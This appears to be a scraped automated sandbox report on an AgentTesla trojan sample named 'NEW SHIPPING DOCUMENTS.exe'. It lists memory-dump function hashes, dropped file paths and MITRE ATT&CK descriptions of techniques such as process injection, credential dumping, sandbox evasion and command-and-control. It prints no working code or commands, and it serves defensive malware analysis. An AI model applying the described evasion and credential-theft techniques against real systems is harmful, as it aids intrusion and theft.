Instruction Fuzzy Hash: 072122B5604204EFDF09DF54E5C0B36BBA5FB84314F20C5ADDA094B652C776E846CA62

Function 011FD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4583881831.00000000011FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_11fd000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dda9a3092c901ca9a849ee40075c598bf31889487fb929feb76e09f262ad5f61
Instruction ID: a35cf49d97348088cfcf03b7614beea26c7409c32b7659295202db48408ec631
Opcode Fuzzy Hash: dda9a3092c901ca9a849ee40075c598bf31889487fb929feb76e09f262ad5f61
Instruction Fuzzy Hash: A2212271604204EFDF19DF54E9C0B36BBA1FB84314F24C56DDA0A4B292C77AD447CA62

Function 06AE6D28 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fd4d4a10fcd95d2c50d03e23c6952755900ffc4836b706eeb1f8faa00dc73f6
Instruction ID: 15a5efad8788987691ee6fa0901d21241a63facd04dba9b5ea0fa65d87c9257c
Opcode Fuzzy Hash: 3fd4d4a10fcd95d2c50d03e23c6952755900ffc4836b706eeb1f8faa00dc73f6
Instruction Fuzzy Hash: BA21A231B101199BDF84EB68E990B9EB7F6FB84310F208839D405EB340EB31ED018B80

Function 06AEAF38 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d448e1b00d6f663ef87c58c009c44f3d1e1d4de2aa5a3ac89fcbc67fdfd71486
Instruction ID: 3559132617cbed59cca6e3b1d62f087a1a186544e1a76142d13069c78bc2d9ce
Opcode Fuzzy Hash: d448e1b00d6f663ef87c58c009c44f3d1e1d4de2aa5a3ac89fcbc67fdfd71486
Instruction Fuzzy Hash: 67215E71D1075A9BCF65DFA9C95469EBBB5FF85310F10892AE805FF200DB70A845CB90

Function 06AE3FE0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 537231e0463178435cb6f81f8cd28dbc3ac4814bc1250f4e5d82a7cfab9af1ab
Instruction ID: 9d9768b702a48181a33ea36f8d3e8c7d2b62ec8ef08412e874049193d9df3ce8
Opcode Fuzzy Hash: 537231e0463178435cb6f81f8cd28dbc3ac4814bc1250f4e5d82a7cfab9af1ab
Instruction Fuzzy Hash: A0115E35B001258FDF54AA78D8546AF73FAEBC8211B04493AD506EB344EE69DC018BD1

Function 06AE421B Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60839f0ef37b3b7b7b7f34f27145696b8a451898751983aa9de7f0860cd6378d
Instruction ID: f9d6f3ce883cb33ea7f1568507b93f8eb1a44454c0def8291142d6adf5c596e1
Opcode Fuzzy Hash: 60839f0ef37b3b7b7b7f34f27145696b8a451898751983aa9de7f0860cd6378d
Instruction Fuzzy Hash: A101F130B101510FDB65A6AC981476BB7EADBCA710F15846AE50ACB341E964CC024391

Function 06AEA318 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fc264695c34c8dd3ce0b753ca3d03fe213da6decdaae5347b0e789663beca81
Instruction ID: 117dedfef9c0ef782692db32aa895006c55860effc6b0cb628d39eaae5052084
Opcode Fuzzy Hash: 1fc264695c34c8dd3ce0b753ca3d03fe213da6decdaae5347b0e789663beca81
Instruction Fuzzy Hash: 7D01B174B103150FDF65EB78985075B7BE6EB86714F108839E20ACF341DE15DC028391

Function 06AE3FD0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5084cc6244d6ced8dc4bde6cc01e545324a09a2dde0b2696f0f490d7935a6d26
Instruction ID: 52cc4cc5273cddcfb94e437fb031047bd0dfb83a6547ce7fe006ceef42de9f11
Opcode Fuzzy Hash: 5084cc6244d6ced8dc4bde6cc01e545324a09a2dde0b2696f0f490d7935a6d26
Instruction Fuzzy Hash: F201B136B100155BDF64AA789C51AEF77EFEFC8210F040439D406EB680EE28DC0147E2

Function 06AEF1A1 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4150f2e25d0c148d9238a6699861f166381d6dcbc491a8071694dfcaa0828c5
Instruction ID: a2ad59a189dc493936307eae2fbb1940c9f6d58175b7e33ec81cf14ed31fce25
Opcode Fuzzy Hash: c4150f2e25d0c148d9238a6699861f166381d6dcbc491a8071694dfcaa0828c5
Instruction Fuzzy Hash: ED01D435B005045FDB65E6ACE850B6B77DAFBC5710F10882DE60ACB340EE52DC0243D1

Function 011FD1F3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4583881831.00000000011FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_11fd000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecf76333c4857edb0cae155a2ed822a1bfe38db2c40391184a4fb299c42cee64
Instruction ID: fa062f0fc1990b5bfbe29b3169158dc157f0fcdb395838d2c5e42b965c73feb9
Opcode Fuzzy Hash: ecf76333c4857edb0cae155a2ed822a1bfe38db2c40391184a4fb299c42cee64
Instruction Fuzzy Hash: 9B11907A504284CFDB16CF54E5C4B25BB61FB84324F24C6AED9494B656C33AD406CB92

Function 011FD3A3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4583881831.00000000011FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_11fd000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction ID: b1d6fe76304e6db0ef34d7614397bb9c85d3361aa80d6e7dc734d2ef00ceeb04
Opcode Fuzzy Hash: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction Fuzzy Hash: CC11BEB5504280CFCB06CF54D5C4B65BB61FB84314F24C6AEDA494BA66C33AE44ACB52

Function 06AE38A0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b74703f9fff668d58bae2fd2d9195674b1c5b879bc11b9959d4048617d5781a
Instruction ID: 655e4f6e978113bc6967231e7e2695ef1fb863ee264e9693af8a33368ef94d78
Opcode Fuzzy Hash: 2b74703f9fff668d58bae2fd2d9195674b1c5b879bc11b9959d4048617d5781a
Instruction Fuzzy Hash: 0E11D3B1D01259AFCB00DF9AD984ADEFBB4FB48310F10812AE918B7300D374A554CFA5

Function 06AE3898 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc50bbc462909a7f03f381c2fcfb1f4d9dd51f0e2c16d10a0109d9e7c4b562c9
Instruction ID: d610e3be61eb9282ac65e51d7ace1d3c77807d6b56cb92b48ce811b2c323832a
Opcode Fuzzy Hash: fc50bbc462909a7f03f381c2fcfb1f4d9dd51f0e2c16d10a0109d9e7c4b562c9
Instruction Fuzzy Hash: E021C2B1D01259AFDB10DF9AD984ADEFBB4FF48310F10815AE918B7201C374A554CFA5

Function 06AE4228 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95a9f7fb4827160fe201e09221b46c8cafe88aa9d4bff3bfb3f2972c44fda5d5
Instruction ID: d6815a5de1f7d49606fbbbdbd5a462fc781628415804a668eb609255d7f00e74
Opcode Fuzzy Hash: 95a9f7fb4827160fe201e09221b46c8cafe88aa9d4bff3bfb3f2972c44fda5d5
Instruction Fuzzy Hash: BA018C31B101110BEBA8E6AD941472BB3DBEBD9B24F24883DE50ECB344EE65DC024391

Function 06AEF1B0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b88f8f596fafe6c8039d7ea22609a6093ec730066167de2ebfdabe594b510a24
Instruction ID: 2444dbbf1346e9e2c895c108a3c4716d7a4e3b9e43d678128a90223c985f1b22
Opcode Fuzzy Hash: b88f8f596fafe6c8039d7ea22609a6093ec730066167de2ebfdabe594b510a24
Instruction Fuzzy Hash: 6F018C35B005154FEB69E6ACE85472E72DAEBC9620F10883DE60ACB340EE26DC024391

Function 06AEA328 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5c961bf2c29cd276ed9563c112f1f272572bbc91eaeba3c96cff070db37b143
Instruction ID: 8cebf4ed9532fcf579178029ae95718512861cb5e95190e986cc3a93f8b27a48
Opcode Fuzzy Hash: d5c961bf2c29cd276ed9563c112f1f272572bbc91eaeba3c96cff070db37b143
Instruction Fuzzy Hash: 07011D75B106154BDBA5EB78D45471FB7D6EBC9710F108838E60ADB340EE25EC028780

Function 06AEC7E8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1888b4e1b13db7f311ea22468c4281f2c422f107401568eccee83810a36a3676
Instruction ID: a8fd2a5d8292895aa1189da83b144b96c2a80f2e5616a05a3f7c187b10477eb8
Opcode Fuzzy Hash: 1888b4e1b13db7f311ea22468c4281f2c422f107401568eccee83810a36a3676
Instruction Fuzzy Hash: 33F0A732E2122897DB146A69DC009AAB77AE784264F004435ED11AB240DA356C0187C0

Function 06AE8306 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54bc1c85032dee987849b705eec3dafedcc2abd15e03688445574410e32770ab
Instruction ID: 0fe4dce97bff02e195e94152636480a70605eec2992b81fea0a40cded8c4b4fd
Opcode Fuzzy Hash: 54bc1c85032dee987849b705eec3dafedcc2abd15e03688445574410e32770ab
Instruction Fuzzy Hash: 12F0ED36B00203CFEF64BF95AA802A9F3B8EB80251F140472CC00DB102D23CDE01CB91

Function 06AE6481 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4603623757.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RvUJzKx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cd15c45c66af1163b494d65b33b4c3bc96f3a1e2dc561687e925b6c0005ed7b
Instruction ID: f600492f6f555294e9a23b17e6a16a782b31bcdeda0f293a092301b88e376e28
Opcode Fuzzy Hash: 3cd15c45c66af1163b494d65b33b4c3bc96f3a1e2dc561687e925b6c0005ed7b
Instruction Fuzzy Hash: 11E0D871E202087BDF50EE70CA45B5B775DD742314F208CA2E404DF202F536C9414791

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NEW SHIPPING DOCUMENTS.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NEW SHIPPING DOCUMENTS.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RvUJzKx.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2p4jyn30.xrz.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_51yflde4.045.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dwcdgyqm.550.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l2wwfs0b.0bh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l3n3umgl.dcg.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lrwlue3o.rvb.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t1vu3hdt.f3z.ps1

Windows Analysis Report
NEW SHIPPING DOCUMENTS.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

